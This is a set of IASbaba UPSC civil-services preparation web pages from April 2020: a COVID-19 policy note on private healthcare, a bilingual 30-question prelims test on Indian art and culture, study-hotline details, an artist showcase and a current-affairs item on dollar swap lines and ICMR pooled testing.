to enlist the support of private players to manage the crisis situation in a vast & diverse country like India  Effective: According to the WHO, a critical lesson from the 2014-16 West African Ebola epidemic was that both the public and private sector need to work in tandem in responding to large-scale epidemics. Creating a large and accessible testing infrastructure as the epidemic spreads means more private sector participation Testing has been included under the AB PM-JAY. India has opened testing up to private labs but need to substantially expand on this. Private sector needed to ramp up production of essential medical products — from testing kits, masks and other PPEs to oxygen and ventilators – as epidemic spreads Augment Public Healthcare Capacity: Private hospitals needs to be converted into COVID-19-only hospitals as government hospitals in India are limited Treatment of non-COVID-19 patients: Private sector can pitch in especially when government hospitals are focused heavily on tackling COVID-19 Support for community activities such as night shelters and community kitchens should be strengthened through private sector participation Filling of the knowledge gaps- Government, private and not-for-profit research institutions need to collaborate to understand the nature of virus and develop necessary cure/vaccines Way Ahead Empanelling additional health facilities under PM-JAY to provide emergency care and treatment for other serious illnesses to all citizens, particularly the poor and vulnerable Direct support from banks to private sector to keep production and supply chains running Connecting the dots: Gandhiji’s Trusteeship Model Challenges with respect to NGOs in India (TEST YOUR KNOWLEDGE) Model questions: (You can now post your answers in comment section) Note:  Correct answers of today’s questions will be provided in next day’s DNA section. Kindly refer to it and update your answers.  Comments Up-voted by IASbaba are also the “correct answers”. Q.1 Consider the following statements: Pradhan Mantri Fasal Bima Yojana aims to reduce the premium burden on farmers. Pradhan Mantri Kisan Samman Nidhi initiative provides rupees 10,000 per year to all farmers. Which of the above is/are correct? 1 only 2 only Both 1 and 2 Neither 1 nor 2 Q.2 Mobile application Sahyog is launched by which of the following? Department of Science and Technology  Niti Aayog  Ministry of Family, Health and Welfare  Ministry of Agriculture Q.3 Consider the following statements regarding International Monetary Fund?  It is governed by and accountable to the 189 member countries  Its primary purpose is to ensure the stability of the International Monetary system. Which of the above is/are correct? 1 only 2 only Both 1 and 2 Neither 1 nor 2 Q.4 Kalaripayattu originated in which of the following state of India? Kerala  Andhra Pradesh  Telangana  Tamil Nadu Q.5) Meru Jatra festival is celebrated in which of the following state of India?  Orissa  Chhattisgarh  Jharkhand  Madhya Pradesh ANSWERS FOR 15th April 2020 TEST YOUR KNOWLEDGE (TYK) 1 C 2 D 3 D 4 A Must Read About US suspending WHO funding: The Hindu About farmers distress in the wake of COVID-19: The Hindu About need for harmonizing with the nature: The Hindu

IASbaba’s 60 Day Plan [Day - 40]- IAS Prelims Test Series 2020 HISTORY & CURRENT AFFAIRS

ARCHIVES OF 60 DAY PLAN STRATEGY [VIDEO]: UPSC IAS Preparation Guidance/Tips from Mohan Sir  Dear Students, The 60 Days Training has finally begun:) DAY 40 is here! It is time to Introspect, Ideate and Improve!! We have come-up with articles to instil confidence, motivate you in the present situation. Do read these articles. Mark the words/lines in your dairy. These very lines can be the driving force’ in the time of uncertainty. [STRATEGY] MUST READ: 21 Days of Lockdown-What to do? Introspect, Ideate and Improve !! MUST READ: PRELIMS in Testing Times – Don’t Forget the ‘WHY’; IASbaba’s dedicated HOTLINE for Aspirants and Prelims Postponing Rumours Coronavirus[VIDEO]: Awareness, Myths, Solidarity and Message to All UPSC Aspirants by Mohan Sir Founder IASbaba   To ensure that your preparation goes smoothly and keeping up with our promise, we have come up with a Dedicated HOTLINE (Communication channel) - Connect with BABA for all UPSC/IAS Aspirants. From today, you will be able to speak with the Founders and Core Team of IASbaba on telephone regarding ‘any queries’ related to UPSC preparation in general or Subject-specific doubts. This Hotline, will be in addition to the 'ASK YOUR BABA' (#ASKBABA) thread opened on a daily basis for our 60 Day plan. We will try to make sure that with so much going around these days, you have at least one less thing to worry about.   How to make use of HOTLINE and ASK YOUR BABA (#ASKBABA)? There are 2 initiatives which will be running parallely. 1. HOTLINE - Connect with BABA (5pm - 7pm) The communication channel will be open ONLY for 2 hours Daily (except on Sundays - holiday) from 5pm to 7 pm. Please do not make calls before or after the specified time. As we will be occupied with other daily initiatives running on the website and mentorship. Hope you understand our time constraints. Please note that, call facilities are mainly for queries related to preparation per se like strategies, difficulties in reading a subject, what to read, what not to read, how to manage time, revision, motivation etc. You can call on the numbers given below. For any queries related to - UPSC Preparation (Prelims, Mains, Interview) Strategy & Current Affairs – contact 9986190082 Environment & Science and Technology – contact 9986193016 Polity & Economics – contact 9899291288 Geography & History – contact 9591106864 We have separated General Strategy (Preparation per se – Pre, Mains, Interview) and Current Affairs from other subjects. You can make use of the HOTLINE, as per your needs.   2. ASK YOUR BABA (#ASKBABA) - clear your doubts on the 60 Day Platform (Online from 11 am - 10 pm) Use the disqus comment section of that particular day (60 Day post - For Ex: Today is Day 25) to clear all your subject specific doubts of the day. You can post your queries/doubts with #ASKBABA !! Here, doubts related to the 60 day questions or conceptual clarity in a particular subject can be asked. Your doubts will be cleared on real-time basis (or max within hour it will be answered from the subject experts) If you are genuinely finding difficulty interms of preparing with that particular subject, then you can use 5pm-7pm window to make calls. If you are not able to speak to IASbaba's Team, then you can still post your doubts/queries in the same post of the 60 day initiative. As mentioned above, your doubts will be cleared on real-time basis (or max within hour it will be answered from the subject experts). Make the best use of the communication channel (Ask Your Baba/comment section on daily 60 Day post and calls) provided. We will make sure that, all your queries will be answered to. So we have  tried our bit, to ensure your preparation goes smoothly, you can do your bit by keeping in touch with us via phone/ website to keep yourself going, keep yourself engaged and staying positive during the rough times.   How to make the maximum use of this HOTLINE and #ASKBABA (Disqus comment of 60 Day Plan) on Daily basis? Now, that I have solved 30 mcq’s, what to do next?  How to Analyse my Performance? For Answers to the above Questions  ->CONNECT WITH BABA: IASbaba’s Dedicated HOTLINE for UPSC/IAS Aspirants !!   Note- Download the OMR Sheet and attempt the questions exactly like UPSC Prelims. After you are done, please post your OMR in the comment section. Once the solution key is released (5 PM), cross-check the answers and again, comment the marks (you got) in the same comment thread. This will keep you responsible and sincere in days to come. Also, we need more sets of scores for releasing the cut offs in the night so, requesting all of you to sincerely put your scores in comment section.    You can also take part in discussion with peers.   Q.1) Consider the following pairs:       Regional Music Region or State    1. Chhakri Kashmir    2. Laman  Uttarakhand    3. Pandavani Chhattisgarh Which of the pairs given above are correctly matched? 1 and 2 only 3 only 1 and 3 only 1, 2 and 3 Q.1) निम्नलिखित युग्मों पर विचार करें:                       क्षेत्रीय संगीत                           क्षेत्र या राज्य     1. छकरी (Chhakri)                               कश्मीर     2. लमन (Laman)                             उत्तराखंड     3. पंडवानी                             छत्तीसगढ़   ऊपर दिए गए युग्मों में से कौन सा सही तरीके से सुमेलित है? केवल 1 और 2 केवल 3 केवल 1 और 3 1, 2 और 3 Q.2) Consider the following: Javali Tappa Dhamar Kirtanam Tillana Which of these are musical forms of Carnatic Music? 1, 2 and 3 only 1, 4 and 5 only 2, 3 and 4 only 3, 4 and 5 only Q.2) निम्नलिखित पर विचार करें: जवाली (Javali) टप्पा धामर (Dhamar) कीर्तनम (Kirtanam) तिल्लना (Tillana) उपरोक्त में से कौन से रूप कर्नाटक संगीत के हैं? केवल 1, 2 और 3 केवल 1, 4 और 5 केवल 2, 3 और 4 केवल 3, 4 और 5 Q.3) With reference to Kutiyattam art, which of the following statements are correct?  It is a traditional Sanskrit performing art dance form of Kerala. Nangiar Koothu is the solo section of male performance in Kutiyattam. It is recognized by UNESCO as a 'Masterpiece of the Oral and Intangible Heritage of Humanity.' Select the correct answer using the code given below: 1 and 2 only 1 and 3 only 3 only 1, 2 and 3 Q.3) कुटियाट्टम कला के संदर्भ में, निम्नलिखित में से कौन सा कथन सही है? यह केरल का एक पारंपरिक संस्कृत प्रदर्शन कला नृत्य है। कुटियाट्टम में नांगियार कुथु, पुरुष प्रदर्शन का एकल खंड है। इसे यूनेस्को ने 'मानवता की मौखिक और अमूर्त विरासत की उत्कृष्ट कृति' के रूप में मान्यता दी है। नीचे दिए गए कूट का उपयोग करके सही उत्तर चुनें: केवल 1 और 2 केवल 1 और 3 केवल 3 1, 2 और 3 Q.4) Consider the following calendar types: Vikram Samvat Saka Samvat Hijri Calendar Gregorian Calendar  Which of these calendars are of solar calendar? 2 and 4 only 1 and 3 only 3, 2 and 4 only 1, 2 and 4 only Q.4) निम्नलिखित कैलेंडर प्रकारों पर विचार करें: विक्रम संवत शक संवत हिजरी कैलेंडर ग्रेगोरियन कैलेंडर इनमें से कौन से कैलेंडर, सौर कैलेंडर हैं? केवल 2 और 4 केवल 1 और 3 केवल 3, 2 और 4 केवल 1, 2 और 4 Q.5)  Consider the following pairs:     Block Printing Techniques Heritage of     1. Bagru Rajasthan     2. Bagh Madhya Pradesh     3. Ajrakh Maharashtra Which of the pairs given above are correctly matched? 1 and 2 only 2 only 2 and 3 only 1, 2 and 3 Q.5) निम्नलिखित युग्मों पर विचार करें: ब्लॉक प्रिंटिंग तकनीक (Block Printing Techniques)                              धरोहर     1. बगरू (Bagru)                           राजस्थान      2. बाघ (Bagh)                           मध्य प्रदेश     3. अजरख (Ajrakh)                             महाराष्ट्र   ऊपर दिए गए युग्मों में से कौन सा सही तरीके से सुमेलित है? केवल 1 और 2 केवल 2  केवल 2 और 3 1, 2 और 3 Q.6) Consider the followings statements on contribution of women writers in different languages: Lal Ded was the creator of the style of mystic poetry called ‘vatsun or Vakhs’ in Sanskrit. Meera Bai wrote in three languages i.e. Gujarati, Rajasthani and Hindi. Akkamahadevi wrote in Kannada and Avvayyar wrote in Telugu. Which of the statements given above is/are correct?  1 and 2 only 2 only 2 and 3 only 1, 2 and 3 Q.6) विभिन्न भाषाओं में महिला लेखकों के योगदान पर, निम्नलिखित कथनों पर विचार करें: लाल देद, संस्कृत में ‘वत्सुन या वक्ष’ नामक रहस्यवादी कविता की शैली की निर्माता थीं। मीरा बाई ने तीन भाषाओं यानी गुजराती, राजस्थानी और हिंदी में लिखा। अक्कामहादेवी (Akkamahadevi) ने कन्नड़ में लिखा तथा अव्वाईयर (Avvayyar) ने तेलुगु में लिखा। ऊपर दिए गए कथनों में से कौन सा सही है / हैं? केवल 1 और 2 केवल 2  केवल 2 और 3 1, 2 और 3 Q.7) Consider the following statements: Hindustani music originated in the Vedic period, while Carnatic music originated during the Bhakti movement. Hindustani music is raga based while Carnatic music is kriti-based. Hindustani music has homogenous and Carnatic music has a heterogeneous Indian tradition. Which of the statements given above is/are correct?  1 and 3 only 2 only 1 and 2 only 1, 2 and 3 Q.7) निम्नलिखित कथनों पर विचार करें: हिंदुस्तानी संगीत की उत्पत्ति वैदिक काल में हुई, जबकि कर्नाटक संगीत की उत्पत्ति भक्ति आंदोलन के दौरान हुई। हिंदुस्तानी संगीत राग-आधारित (raga based) है जबकि कर्नाटक संगीत कृति- आधारित (kriti-based) है। हिंदुस्तानी संगीत में समरूपता (homogenous) है तथा कर्नाटक संगीत में एक विषम (heterogeneous) भारतीय परंपरा है। ऊपर दिए गए कथनों में से कौन सा सही है / हैं? केवल 1 और 3 केवल 2  केवल 1 और 2 1, 2 और 3 Q.8) Which of the following criteria are to be met to declare a language as ‘Classical Language’ in India? It must have recorded history over a period of 2500 years. The literary tradition must be original and not borrowed from another speech community. Its ancient texts considered a valuable heritage by generations of speakers. Select the correct answer using the code given below: 1 and 2 only 1 and 3 only 2 and 3 only 1, 2 and 3 Q.8) भारत में किसी भाषा को ‘शास्त्रीय भाषा’ घोषित करने के लिए, निम्नलिखित में से कौन सा मापदंड पूरा करना होता है? इसने 2500 वर्षों की अवधि का इतिहास दर्ज किया हो। साहित्यिक परंपरा मूल होनी चाहिए तथा दूसरे भाषाई समुदाय से उधार नहीं ली गयी होनी चाहिए। इसके प्राचीन ग्रंथ बोलने वालों की पीढ़ियों द्वारा एक मूल्यवान विरासत माने जाते हैं। नीचे दिए गए कूट का उपयोग करके सही उत्तर चुनें: केवल 1 और 2 केवल 1 और 3 केवल 2 और 3 1, 2 और 3 Q.9) Which of the following classical dance form is also known as ‘Mobile Sculpture’? Kuchipudi Odissi Kathakali Sattriya Q.9) निम्नलिखित में से किस शास्त्रीय नृत्य को 'गतिशील मूर्तिकला' (Mobile Sculpture) के नाम से भी जाना जाता है? कुचिपुड़ी ओडिसी कथकली सत्त्रिया नृत्य Q.10) Consider the following forms of puppetry: Yampuri Tholpavakoothu  Ravanachaya  Putul Nauch  Togalu Gombeyata Which of these are types of shadow puppetry in India? 1, 2 and 5 only 2, 3 and 5 only 1, 3 and 4 only 2, 3, 4 and 5 only Q.10) कठपुतली के निम्नलिखित रूपों पर विचार करें: यमपुरी (Yampuri) थोलपावकुथु (Tholpavakoothu) रावण छाया (Ravanachaya) पुतुल नाच (Putul Nauch) तोगलु गोमबेयेट्टा  भारत में निम्नलिखित में से कौन छाया कठपुतली (shadow puppetry) के प्रकार हैं? केवल 1, 2 और 5 केवल 2, 3 और 5 केवल 1, 3 और 4 केवल 2, 3, 4 और 5 Q.11) Consider the following pairs:       Folk Arts Heritage of      1. Kalamakari Tamil Nadu     2. Gramiya Kalai Andhra Pradesh     3. Aipan Uttarakhand Which of the pairs given above are correctly matched? 1 and 3 only 3 only 2 and 3 only 1 and 2 only Q.11) निम्नलिखित युग्मों पर विचार करें:                                 लोक कला                               धरोहर     1. कलमकारी                              तमिलनाडु     2. ग्रामिया कलाई (Gramiya Kalai)                             आंध्र प्रदेश     3. ऐपन (Aipan)                               उत्तराखंड   ऊपर दिए गए युग्मों में से कौन सा सही तरीके से सुमेलित है? केवल 1 और 3 केवल 3 केवल 2 और 3 केवल 1 और 2 Q.12) Match the following martial arts of India with its origin:     1. Kalaripayattu  Tamil Nadu     2. Silambam  Kerala     3. Cheibi Gad-ga  Bihar     4. Pari-khanda  Manipur Select the correct answer using the code given below: 1 – A ; 2 – B ; 3 – C ; 4 – D 1 – A ; 2 – B ; 3 – D ; 4 – C 1 – B ; 2 – A ; 3 – C ; 4 – D 1 – B ; 2 – A ; 3 – D ; 4 – C Q.12) भारत के निम्नलिखित मार्शल आर्ट को उत्पत्ति स्थान के साथ मिलान करें:      1. कलारिपयाट्टू (Kalaripayattu)                             तमिलनाडु      2. सिलम्बम (Silambam)                                 केरल      3. चेबी गद-गा (Cheibi Gad-ga)                                 बिहार      4. परि-खंड (Pari-Khanda)                               मणिपुर   नीचे दिए गए कूट का उपयोग करके सही उत्तर चुनें: 1 – A ; 2 – B ; 3 – C ; 4 – D 1 – A ; 2 – B ; 3 – D ; 4 – C 1 – B ; 2 – A ; 3 – C ; 4 – D 1 – B ; 2 – A ; 3 – D ; 4 – C Q.13) Consider the following pairs:       Folk dance Heritage of     1. Kaksar Odisha    2. Raas Gujarat    3. Koli  Maharashtra Which of the pairs given above are incorrectly matched? 1 only 1 and 2 only 3 only None of these Q.13) निम्नलिखित युग्मों पर विचार करें:                              लोक नृत्य                               धरोहर    1. काकसर (Kaksar)                             ओडिशा    2. रास                               गुजरात    3. कोली                               महाराष्ट्र   ऊपर दी गई कौन सी जोड़ी गलत तरीके से मेल खाती है? केवल 1  केवल 1 और 2 केवल 3 इनमें से कोई नहीं Q.14) Consider the following pairs:     Festivals of North East Tribal Group   1. Myoko Mishmi   2. Wangala Garo   3. Moatsu Mong Rengma Which of the pairs given above are correctly matched? 1 and 3 only 2 only 2 and 3 only 1, 2 and 3 Q.14) निम्नलिखित युग्मों पर विचार करें:                          उत्तर पूर्व के त्यौहार                       जनजातीय समूह    1. म्योको (Myoko)                               मिश्मी    2. वांग्ला (Wangala)                                 गारो    3. मोत्सु मोंग (Moatsu Mong)                               रेंगमा    ऊपर दिए गए युग्मों में से कौन सा सही तरीके से सुमेलित है? केवल 1 और 3 केवल 2  केवल 2 और 3 1, 2 और 3 Q.15) Which of the following statements about Rani-Ki-Vaav is/are correct? It is a palace built by Queen Udayamati as a memorial to King Bhimdev I of the Solanki dynasty.  It is a UNESCO World Heritage Site, located on the banks of Saraswati, Patan, Gujarat. Select the correct answer using the code given below: 1 only 2 only  Both 1 and 2 Neither 1 nor 2 Q.15) रानी-की-वाव के बारे में, निम्नलिखित में से कौन सा कथन सही है / हैं? यह रानी उदयमति द्वारा निर्मित एक महल है जो सोलंकी राजवंश के राजा भीमदेव प्रथम के स्मारक के रूप में है। यह एक यूनेस्को विश्व धरोहर स्थल है, जो सरस्वती के तट पर, पाटन, गुजरात में स्थित है। नीचे दिए गए कूट का उपयोग करके सही उत्तर चुनें: केवल 1 केवल 2  1 और 2 दोनों न तो 1 और न ही 2 Q.16) With reference to 'Mohiniyattam', consider the following statements: It traces its origin to the temples of Tamil Nadu. It is a classical solo dance, performed by women only. It lays emphasis on hand gestures and mukhabhinaya with subtle facial expressions. Which of the statements given above is/are correct?  1 and 2 only 2 and 3 only 3 only 1, 2 and 3 Q.16) 'मोहिनीअट्टम' (Mohiniyattam) के संदर्भ में, निम्नलिखित कथनों पर विचार करें: इसकी उत्पत्ति का पता तमिलनाडु के मंदिरों से लगाता है। यह एक शास्त्रीय एकल नृत्य है, जो केवल महिलाओं द्वारा किया जाता है। यह हल्के चेहरे के भावों के साथ हाथ के इशारों और मुखाभिनय पर जोर देता है। ऊपर दिए गए कथनों में से कौन सा सही है / हैं? केवल 1 और 2 केवल 2 और 3 केवल 3 1, 2 और 3 Q.17) Consider the following pairs:               Crafts  Heritage of    1. Tawlhlohpuan Meghalaya    2. Aranmula kannadi Karnataka    3. Kandangi Sarees Kerala Which of the pairs given above are incorrectly matched? 1 and 2 only 3 only 2 and 3 only 1, 2 and 3 Q.17) निम्नलिखित युग्मों पर विचार करें:                                       शिल्प                               धरोहर    1. तवलोह्लपुआन (Tawlhlohpuan)                               मेघालय    2. अरनमुला कन्नडी (Aranmula kannadi)                               कर्नाटक    3. कंडांगी साड़ी (Kandangi Sarees)                                 केरल   ऊपर दी गई कौन सी जोड़ी गलत तरीके से मेल खाती है? केवल 1 और 2 केवल 3 केवल 2 और 3 1, 2 और 3 Q.18) A tribal art originated from the Western Ghats which mainly uses circles, triangles and squares to form numerous shapes and depict daily life activities like fishing, hunting, festivals, dance and more. What sets it apart is the human shape: a circle and two triangles.  The above passage describes which of the following art form?  Phad painting Saura Painting Pithora Painting Warli painting Q.18) इस जनजातीय कला की उत्पत्ति पश्चिमी घाटों से हुई है, जिसमें मुख्य रूप से कई आकृति बनाने, मछली पकड़ने, शिकार, त्योहारों, नृत्य और बहुत अन्य जैसी दैनिक जीवन की गतिविधियों को चित्रित करने के लिए वृत्त, त्रिकोण और वर्गों का उपयोग किया जाता है। वह जो इसे दूसरों से अलग करता है, वह मानव आकृति: एक वृत्त और दो त्रिकोण है। उपरोक्त गद्यांश निम्नलिखित कला रूपों में से किसका वर्णन करता है? फाड़ चित्रकला सौरा चित्रकला पिथौरा चित्रकला वर्ली चित्रकला Q.19) Consider the following pairs:         Embroidary Traditions  State    1. Kashida Kashmiri     2. Kasuti Karnataka    3. Kalabattu  Uttar Pradesh Which of the pairs given above are correctly matched? 1 and 2 only 2 only 2 and 3 only 1, 2 and 3 Q.19) निम्नलिखित युग्मों पर विचार करें:        पारंपरिक कढ़ाई (Embroidary Traditions)                             राज्य    1. कशीदा (Kashida)                              कश्मीरी    2. कसुटी (Kasuti)                             कर्नाटक    3. कलाबट्टू (Kalabattu)                           उत्तर प्रदेश   ऊपर दिए गए युग्मों में से कौन सा सही तरीके से सुमेलित है? केवल 1 और 2 केवल 2  केवल 2 और 3 1, 2 और 3 Q.20) Consider the following pairs:     Cities in UNESCO’s Creative Cities Network Creative Fields    1. Jaipur Crafts and Folk Arts    2. Hyderabad Films     3. Chennai Media arts    4. Mumbai Design    5. Varanasi Music Which of the pairs given above are correctly matched? 1, 2 and 3 only 3, 4, and 5 only  1 and 5 only 1, 2, 4 and 5 only Q.20) निम्नलिखित युग्मों पर विचार करें:       यूनेस्को के रचनात्मक शहरों के नेटवर्क                       रचनात्मक क्षेत्र    1. जयपुर                   शिल्प और लोक कला    2. हैदराबाद                             फिल्में    3. चेन्नई                         मीडिया कला    4. मुंबई                           डिज़ाइन    5. वाराणसी                             संगीत   ऊपर दिए गए युग्मों में से कौन सा सही तरीके से सुमेलित है? केवल 1, 2 और 3 केवल 3, 4, और 5  केवल 1 और 5 केवल 1, 2, 4 और 5 Q.21) Consider the following statements about Bureau of Energy Efficiency (BEE): It is a statutory body established under the Energy Conservation Act, 2001. It developed State Energy Efficiency Index in association with Energy Efficiency Services Limited (EESL). It is the implementing body of the Smart Meter National Programme. Which of the statements given above is/are correct?  1 and 2 only 1 only 2 and 3 only 1, 2 and 3 Q.21) ऊर्जा दक्षता ब्यूरो (BEE) के बारे में, निम्नलिखित कथनों पर विचार करें: यह ऊर्जा संरक्षण अधिनियम, 2001 के तहत स्थापित एक वैधानिक निकाय है। इसने एनर्जी एफिशिएंसी सर्विसेज लिमिटेड (EESL) के साथ मिलकर राज्य ऊर्जा दक्षता सूचकांक विकसित किया है। यह स्मार्ट मीटर राष्ट्रीय कार्यक्रम का कार्यान्वयन निकाय है। ऊपर दिए गए कथनों में से कौन सा सही है / हैं? केवल 1 और 2 केवल 1  केवल 2 और 3 1, 2 और 3 Q.22) Which of the following statements about International Maritime Organization (IMO) is/are NOT correct? It is the global standard-setting authority for the safety, security and environmental performance of international shipping.  It is the only UN special agency to have its headquarters in the United Kingdom. IMO measures cover both accidental and operational oil pollution. Select the correct answer using the code given below: 1 only 2 only 3 only None of the above Q.22) अंतर्राष्ट्रीय समुद्री संगठन (IMO) के बारे में, निम्नलिखित में से कौन सा कथन सही नहीं है / हैं? यह अंतरराष्ट्रीय शिपिंग की रक्षा, सुरक्षा और पर्यावरण प्रदर्शन के लिए वैश्विक मानक-सेटिंग प्राधिकरण है। यह यूनाइटेड किंगडम में अपना मुख्यालय रखने वाली एकमात्र संयुक्त राष्ट्र की विशेष एजेंसी है। IMO के उपाय दोनों, दुर्घटनात्मक और परिचालन तेल प्रदूषण को कवर करते हैं। नीचे दिए गए कूट का उपयोग करके सही उत्तर चुनें: केवल 1 केवल 2  केवल 3 इनमें से कोई भी नहीं Q.23) Recently seen in news, the ‘biorock or mineral accretion technology’ is related with which of the following? Coral reef restoration Carbon capture and storage Biomining of metallic nodules De-contaminate the polluted water Q.23) हाल ही में समाचारों में देखा गया, ‘बायोरॉक या खनिज अभिवृद्धि प्रौद्योगिकी’ (biorock or mineral accretion technology) निम्नलिखित में से किससे संबंधित है? प्रवाल-भित्ति पुन:स्थापन कार्बन संग्रहण और भंडारण धात्विक नोड्यूल्स का जैव खनन प्रदूषित पानी का शुद्धिकरण Q.24) The ‘Cyber Safe Women’ initiative launched by the Government of which of the following? Uttar Pradesh Kerala Maharashtra Delhi Q.24) ‘साइबर सुरक्षित महिला’ पहल, निम्नलिखित में से किस सरकार द्वारा शुरू की गई है? उत्तर प्रदेश केरल महाराष्ट्र दिल्ली Q.25) With reference to Nilavembukudinee, consider the following statements: It is an Ayurveda medicine recommended for prevention and management of all types of viral infections/fevers.  It acts as immunostimulant and immunomodulator. Which of the statements given above is/are correct? 1 only 2 only  Both 1 and 2 Neither 1 nor 2 Q.25) नीलवेम्बुकुडीने (Nilavembukudinee) के संदर्भ में, निम्नलिखित कथनों पर विचार करें: यह सभी प्रकार के वायरल संक्रमण / बुखार से बचाव और प्रबंधन के लिए अनुशंसित एक आयुर्वेद दवा है। यह प्रतिरक्षा उत्तेजक (immunostimulant) और प्रतिरक्षा आपरिवर्तक (immunomodulator) के रूप में कार्य करता है। ऊपर दिए गए कथनों में से कौन सा सही है / हैं? केवल 1 केवल 2  1 और 2 दोनों न तो 1 और न ही 2 Q.26) 'वैश्विक शरणार्थी मंच' (Global Refugee Forum) के संबंध में निम्नलिखित कथनों पर विचार करें। पहली बार वैश्विक शरणार्थी मंच जिनेवा, स्विट्जरलैंड में आयोजित किया गया था। इसे कोस्टा रिका, इथियोपिया, जर्मनी और तुर्की की सरकारों ने शरणार्थियों के लिए संयुक्त राष्ट्र के उच्चायुक्त (UNHCR) के साथ मिलकर आयोजित किया था। सही कथनों का चयन करें केवल 1 केवल 2  1 और 2 दोनों न तो 1 और न ही 2 Q.26) Consider the following statements with respect to ‘Global Refugee Forum’. The first-ever Global Refugee Forum was held in Geneva, Switzerland. It was organized by the governments of Costa Rica, Ethiopia, Germany, and Turkey, in partnership with the UN High Commissioner for Refugees (UNHCR). Select the correct statements 1 Only 2 Only Both 1 and 2 Neither 1 nor 2 Q.27) Consider the following statements with respect to ‘Carborundum’. It is a semiconductor It is a desirable mirror material for astronomical telescopes. It can be used in the production of graphene. Select the correct statements 1 and 2 3 Only 2 and 3 1, 2 and 3 Q.27) 'कार्बोरंडम' (Carborundum) के संबंध में, निम्नलिखित कथनों पर विचार करें। यह एक अर्धचालक है यह खगोलीय दूरबीनों के लिए एक वांछनीय दर्पण सामग्री है। इसका उपयोग ग्राफीन के उत्पादन में किया जा सकता है। सही कथनों का चयन करें 1 और 2 केवल 3  2 और 3 1, 2 और 3 Q.28) ‘Yarrabubba crater’ was in news recently. Where is it located? Australia Mexico Mongolia Portugal Q.28) ‘याराबुब्बा क्रेटर' (Yarrabubba crater) हाल ही में समाचारों में था। यह कहाँ स्थित है? ऑस्ट्रेलिया मेक्सिको मंगोलिया पुर्तगाल Q.29) Which of the following sectors has received maximum allocation under the ‘National Infrastructure Pipeline (NIP)’? Renewable Energy Urban and Housing Railways Roads Q.29) ‘राष्ट्रीय अवसंरचना पाइपलाइन (NIP)’ के तहत, निम्नलिखित में से किस सेक्टर को अधिकतम आवंटन प्राप्त हुआ है? नवीकरणीय ऊर्जा शहरी और आवास रेलवे सड़कें Q.30) ‘New and Emerging Strategic Technologies (NEST)’ is under the aegis of  Ministry of External Affairs Ministry of Commerce and Industry Ministry of Science and Technology Prime Minister's Science, Technology and Innovation Advisory Council  Q.30) ‘नई और उभरती हुई सामरिक प्रौद्योगिकियां (New and Emerging Strategic Technologies -NEST) किसके तत्वावधान में है विदेश मंत्रालय वाणिज्य और उद्योग मंत्रालय विज्ञान और प्रौद्योगिकी मंत्रालय प्रधान मंत्री विज्ञान, प्रौद्योगिकी और नवाचार सलाहकार परिषद DOWNLOAD THE SOLUTION ENGLISH HINDI NOTE- Follow this for Comments Mention- Time Taken after solving the Test After the release of Solution Edit your Comment to Mention-  Correct/Incorrect and Score 2 Marks for Correct/0.66 minus for Incorrect. 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Catharsis -Unlock Your Talent & Creativity: Amazing piece of ART WORK by CHINMOY BARMA!

Catharsis -Unlock Your Talent & Creativity: Amazing piece of ART WORK by CHINMOY BARMA!   Hello Friends, You must be aware of the term ‘catharsis’. It is the process of releasing and thereby providing relief from, strong or repressed emotions. Recently we have launched a new initiative by the name Catharsis -Unlock Your Talent & Creativity! Today's work is by CHINMOY BARMA.  CHINMOY BARMA is a very talented guy. His SKETCHES, PAINTINGS are timeless in their beauty and execution. These artworks have transcended time and artistic concepts to create history which is awestruck. In his artwork one can see the beautiful use of props expressing present Covid - 19 situation. We wish his creatives are universally recognized. It was really a difficult choice, but we picked a few ART WORKs from goldmine he had mailed us. You can visit his blog for his entire amazing collection. Well done, Keep it up !! Blog: www.rhapsodicsoulsblog.wordpress.com His Youtube channel for art: https://www.youtube.com/channel/UCu1yPQY2CNgiGjzeiyaUb4A/videos?view_as=subscriber                           Be creative and find your catharsis in whichever form of creativity you are comfortable with.  It could be anything- a song, a painting, a poem, a story, a dance performance, rangolis, jokes/humor, culinary skills, mimicry and whatnot. There is no limit to creativity. Just unleash and share it with everyone! Why don’t you share your moments of catharsis with us? UPSC is not only about academics but personality as well. And your personality is shaped by the creativity that you possess.   To know more about Catharsis -Unlock Your Talent & Creativity' Initiative and the Previous Creative work  -> CLICK HERE We encourage you to keep the comment section alive by sharing your talents and also by commenting and encouraging the talent of your peers. We are also going to be a regular visitor here and will keep on posting the creative works by our talented team members and staff. NOTE- You can also nominate by tagging anyone (if you know about the talent of your friend or anyone) 🙂 You can share your talent/creativity with us on support@iasbaba.com and ilp@iasbaba.com  P.S: Kindly share it in a format that can be published on the website. We believe each one of you have some hidden talent. It’s time that you explore more about yourselves and remain positive throughout this journey. Make the best use of this opportunity! Thank You IASbaba

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UPSC PRESS RELEASE : On Civil Services-2020 (Prelims) Exam and Civil Services-2019 Personality Test

UPSC PRESS RELEASE: On Civil Services-2020 (Prelims) Exam and Civil Services-2019 Personality Test   Please find below the UPSC Press Release. Important Updates: A Decision on Fresh Dates for the remaining Civil Services-2019 Personality Tests will be taken after 3rd May, 2020 Any rescheduling in the Dates for Civil Services-2020 (Prelims) Exam, if necessitated by the evolving situation will be notified on the website of UPSC. So as of now, there is no decision taken on the postponement of the Prelims exam.  

Daily Current Affairs IAS | UPSC Prelims and Mains Exam – 15th April 2020

IAS UPSC Prelims and Mains Exam – 15th April 2020 Archives (PRELIMS + MAINS FOCUS) India looks to secure Dollar Swap Line  Part of: GS Prelims and GS-II – International Relations & GS-III – Economy In News: India is working with the United States to secure a dollar swap line. It would help in better management of its external account. It would also provide extra safeguard in the event of an abrupt outflow of funds due to coronavirus-led lockdown. Important value additions: Currency swap agreements  Such agreements involve trade in local currencies, where countries pay for imports and exports at pre-determined rates of exchange without the involvement of a third country currency like the US dollar. India already has a $75 billion bilateral currency swap line with Japan. The Reserve Bank of India also offers similar swap lines to central banks in the SAARC region within a total corpus of $2 billion. Benefits: These swap operations carry no exchange rate or other market risks, as transaction terms are set in advance.  It reduces the risk of volatility against the third currency. It does away with the charges involved in multiple currency exchanges. It would discourage speculative attacks on the domestic currency. Pooled Testing advisory issued by Indian Council of Medical Research Part of: GS Prelims and GS-II – Governance & GS-III – Science and Technology In News: The Indian Council of Medical Research (ICMR) has issued an advisory for using pooled samples for testing of COVID-19.  Key takeaways: ICMR recommendations: The number of samples should not exceed five samples at a time. This is to avoid sample dilution, which can lead to false negatives. This method can be used in areas where the prevalence of COVID-19 is low, which means a positivity rate of less than 2%. In areas with a positivity rate between 2 to 5%, sample pooling of PCR screening may be done among asymptomatic individuals Pooling of sample is not recommended in areas or population with positivity rates of over 5%.  Important value additions: In a pooled testing algorithm, 